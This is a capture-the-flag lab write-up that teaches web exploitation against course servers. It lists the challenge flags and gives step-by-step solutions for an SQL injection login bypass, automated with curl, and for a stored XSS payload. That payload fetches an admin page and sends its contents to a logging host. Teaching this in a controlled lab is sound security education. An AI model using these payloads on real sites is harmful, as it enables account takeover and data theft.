Web Security Gone Wrong

Author: Ibrahim El Kaddouri

Repository: The repository is still private, under construction

Lab: The lab is not available for external parties yet, under construction

note: server needs to be set up, page under construction

Introduction

We will introduce the reader to different types of security vulnerabilities, in particular low-level and web-based vulnerabilities. In this project, we will get hands-on experience with exploiting different types of web-based vulnerabilities and configuring related countermeasures in a controlled setting.

The project is conducted in the style of a Capture The Flag (CTF) exercise, in which the goal is to steal the flag (a special string) from vulnerable applications.

Challenges

Most of people’s daily computer use revolves around the Internet. Exploiting vulnerable websites can lead to corrupting or stealing the data of many users. Billions of records of user-data are being stolen every year. In this project, we will attack vulnerable webpages or websites we set up and exploit other users, authenticate yourself as other users without knowing their credentials or execute other malicious activities.

Submission overview

Challenge Flag
0xA0 DSS{4_sup3r_s3cur3_fl4g_af5fe8s864}
0xA1 DSS{XS_yeS_c54bfbca8}
0xB0 DSS{sqli_1s_n0t_alw4ys_so_tr1vial_8edb5148c9}
0xB1 DSS{XS_yeS_but_1nd1rect_c54bfbca8}
0xB2 DSS{incrementing_ids_are_easy_to_guess_82be7d91a4}
0xB2 DSS{implementing_authentication_is_tricky_4b91ae3c39}
0xB4 DSS{csrf_can_send_requests_but_not_read_them_24eb5a9b99}

0xA0

note: server needs to be set up, page under construction

SQL injection (pronounced ‘sequel injection’ or ‘S Q L injection’) is a major web vulnerability that can still be found in the wild, although there are exist great and very effective defense mechanisms. It is difficult to remove SQL injection vulnerabilities from legacy code.

The goal is to exploit a very simple SQLi vulnerability. Exploitation means that some malicious action is performed that should not be able in any normal use-case. We are working from the attacker perspective, so we are interested in finding out information about another user, elevating our privileges (so instead of having only a normal user account, getting the access a moderator or administrator has) or authenticating as another user.

note: server needs to be set up, page under construction

If you end up on a page looking like this, you have reached the lab:


Step 1

Go to the lab page 0xa0.labs.dss.edu.distrinet-research.be and look around on this site. A good practice is to start by browsing around on the target, maybe see if there are scripts running that could be doing interesting stuff or in general what functionality is being provided.

This is called ‘information gathering’ and is often a good idea: you get to know which endpoints on the server exist, which technologies are used (check out the responses in the developer tools etc: right click, select ‘Inspect’ and go to the ‘Networking’ tab).

While looking around, you can try to create an account on this site. On this simple site that’s no issue, just provide a username and make up a password. Remember these servers are being reset every day, so accounts won’t persist!

Once logged in, continue your exploration by looking at the functionality provided, in this case: nothing. We do see an interesting message on our home-screen though:

“You can’t do anything here because you are not an admin”.

Note this down! There are admins on this site and they have additional access to some unknown things. If you continue to look around, you’ll soon notice there really isn’t anything more to find, so becoming administrator will be our goal in this challenge.

Step 2

Log out again. We’ll try to discover the account of an administrator. In general, there can be two easy ways to find out:

  1. Try to log in and see if the site says that the username does not exist vs that the password is wrong. Try it! In this case that does not work, the site uses a general message, so we can’t find out through the login.
  2. Try to register a new account and see if the site complains because the account already exists. Try to register as ‘admin,’ a common username for an administrator account. This will result in such a message, so we know the account exists.

We have now found a user that we are going to use in our attack!

Step 3

We’ll try to discover whether or not this website is vulnerable to SQL injections by testing some weird inputs in the login fields.

Input hello" into the username and a random password, and click on “log in”.

An error occurred on the server: unrecognized token: ""hello"" AND password='pass'"

What you see here is a raw error message from the database trying to interpret the developers’ query mixed with your input. It is immediately clear that an SQL injection will be possible. Part of the query is revealed in the error message: "hello"" AND password='pass'. The addition “ causes an error because the current query is not valid SQL anymore.

We can now start guessing as to what query is being executed when a user log in to this site. An easy guess would be the naive SELECT * FROM users WHERE username="<username>" and password='<password>'. And because we know we can try a SQL injection we will for now assume this query and try to come up with a payload that breaks the authentication.

We need to make sure the query remains valid and an easy way to do that is to insert a comment, for instance -- in SQL (sometimes you have to add a space before/ after -- for that comment to work, it depends on the database running in the backend). So that would make the malicious username: admin” -- a. The full injected query would then become:

SELECT * FROM users WHERE username="admin" -- a" and password=''

of which the second part is a comment and thus is not used, resulting in this query being executed:

SELECT * FROM users WHERE username="admin" 

Which means even though we don’t know admin’s password, we can now log in on their account. Go ahead and try it, for the password, you can enter whatever you want!

Step 4

Upon logging in, you can now browser the site and discover additional functionality on the site. In this case, there is an admin panel linked that goes to the /very-secret-and-unknown-admin-page endpoint. It shows the flag to the admin, which we can now extract and use in our reports.

Step 5

We can now automate this exploit. An example of this automation is given in your solution repository on Gitlab. The first step is to log in as the admin using the SQLi payload:

curl "https://0xa0.labs.dss.edu.distrinet-research.be/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "DSS-AUTH-TOKEN: $TOKEN" \
  --cookie-jar /tmp/cookies.txt \
  --cookie /tmp/cookies.txt \
  --data-raw "username=admin%22+--+comment&password=pass" -s > /dev/null

We send a request to the /login endpoint (just as your browser does when you click “log in”) with a username and password attached. This “Content-Type” header is important in this case, because it communicates to the server that the data is coming from inputs on a web-form that were filled by the user. In addition, the –cookie-jar and –cookie make sure that cookie being set in the response of the server (such as those for authentication) are saved on your machine and can be used in following steps. If we would not save the cookies, then our next request (to retrieve the flag) would be sent as if we were never logged in as the admin at all.

curl "https://0xa0.labs.dss.edu.distrinet-research.be/very-secret-and-unknown-admin-page" \
  -H "DSS-AUTH-TOKEN: $TOKEN" \
  --cookie-jar /tmp/cookies.txt \
  --cookie /tmp/cookies.txt \
  -s | grep -oP "DSS{.*}"

Because we know where the flag is we can easily retrieve it once logged in as the admin. When the response comes back, we pipe it to the grep command (by doing command-a | command-b the output of a is sent as input to b in unix-based systems). Grep is sort-of a search tool that looks for a pattern in the given string. In this case we look for DSS{.*} which means DSS{} with anything inside of it. The -o flag ensures only the found pattern is returned instead of the entire page with the pattern highlighted.

By combining these two steps we have now automated this exploit, congrats!

0xA1

note: server needs to be set up, page under construction

XSS (or confusingly: cross-site scripting; a weird name given to the class of vulnerabilities) is a common vulnerability that arises because unfiltered/unsafe data ends up in the browser, where it is interpreted as code and can be executed. Exploiting a basic XSS vulnerability is not difficult, but the attack flow might be somewhat confusing.

Upon visiting the lab, “View your logs” will be displayed at the top of the page. This is not part of the challenge, but infrastructure you will need to exploit the vulnerability.

Overview

Because the concept of how to exploit an XSS-attack is more difficult, we provide a simple example attack flow (abstract, so you would still have to find a way to actually execute all those steps of course!)


  1. An attacker finds a possibility for a XSS vulnerability (in the depicted case stored XSS, which means the attack can manage to store malicious JS on the website’s server)
  2. A victim visits the webpage for some reason
  3. The victim’s browser loads the page and executes the malicious JS code
  4. The code was constructed in such a way that it will extract secrets and send them to an attacker-controlled server where the hacker can read and misuse them.

Step 1

Once again we look around at interesting items on the site. Go ahead and look around, you have done this before.

You likely found that you can create notes in your account, yay! Interestingly when creating a new note, you can then send it to an admin with the red button at the top when you are viewing a note.

That is interesting information because we know we can make an administrator visit our note. So, that means we could extract some interesting information if we are able to perform XSS.

Step 2

Let’s try to create a note that has a script tag in it’s content. Submit the following in a new note:

<script>alert(document.domain)</script>

It works, and on top of that when viewing the note, you actually get an alert. So, now it’s time to start writing an actual exploit. Because we know an admin has access to the /very-secret-and-unknown-admin-page, we can try to load that page by using JavaScript.

<script>
fetch("/very-secret-and-unknown-admin-page")
    .then(r => r.text())
    .then(t => ???)
</script>

So and then what…?

  1. We can store a piece of JS code
  2. We can make the admin visit the page and thereby execute the code
  3. We can likely read some secret, receive the text from the response and
  4. ?

We need a hacker server to send our data to! Luckily, we provide you with a logging system. Click the link in the top bar that says “view your logs”.

This is a unique site for you to use for this challenge. You can see that it has a complicated url and nobody else can access it because it it linked to your account. The only thing this site does is log all the requests that it receives. Go ahead and try to reload the page a few times, you will see that the reloads are logged (and the browser may try to request a /favicon.ico in the background, which is the icon displayed in the browser tab).

This is great news, because you can use this server to exfiltrate data. We just have to make our exploit send a request to this url with the data, for instance:

<script>
fetch("/very-secret-and-unknown-admin-page")
    .then(r => r.text())
    .then(t => {
        fetch("https://log-<q-number>-<unique-hash>-0xa1.labs.dss.edu.distrinet-research.be/log?data="+btoa(t))
    })
</script>

Now we’re talking. When the first response comes in, we just take that data, base64-encode it with the btoa function (simply because base64 is safe to use in url’s and the full content of a HTML page might not be and generate unwanted errors).

Let’s try to submit this as a note.

Step 3

If you view your note and then reload the logs, you can see a long request came in:

/log?data=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI ... <its-quite-long>

After the data= you find the base64-encoded data. You can easily use some tool like cyberchef (or python if you want to) to decode it back to human-readable ascii. The above just decodes to the homepage of your own user.

Of course! Because you are not an admin, you will be redirect when you try to load the admin-only page. We still have to send the note to the admin. Click the red button!

important: This is likely the most tricky part of an attack. You have to wait until the admin visits the page, which should not take very long but can take maybe 10 seconds. If something goes wrong on the admin side, you will never know, which is why it’s good to always verify as much as possible that the attack functions properly in your own browser if this is possible.

You will see multiple streams of data coming in in the logs: You yourself were also redirected back to the note, so your browser executed once more. After a few seconds if you reload the page, you will see the admin’s request. It’s shorter, because the HTML-page with the flag is shorter than your own homepage.

Once again, take the base64, decode it and you found yourself another flag. Well done! Now, you’re ready to try on your own! Good luck, and have fun!

0xB0

note: server needs to be set up, page under construction

0xB1

note: server needs to be set up, page under construction

0xB2

note: server needs to be set up, page under construction

0xB3

note: server needs to be set up, page under construction

0xB4

note: server needs to be set up, page under construction

References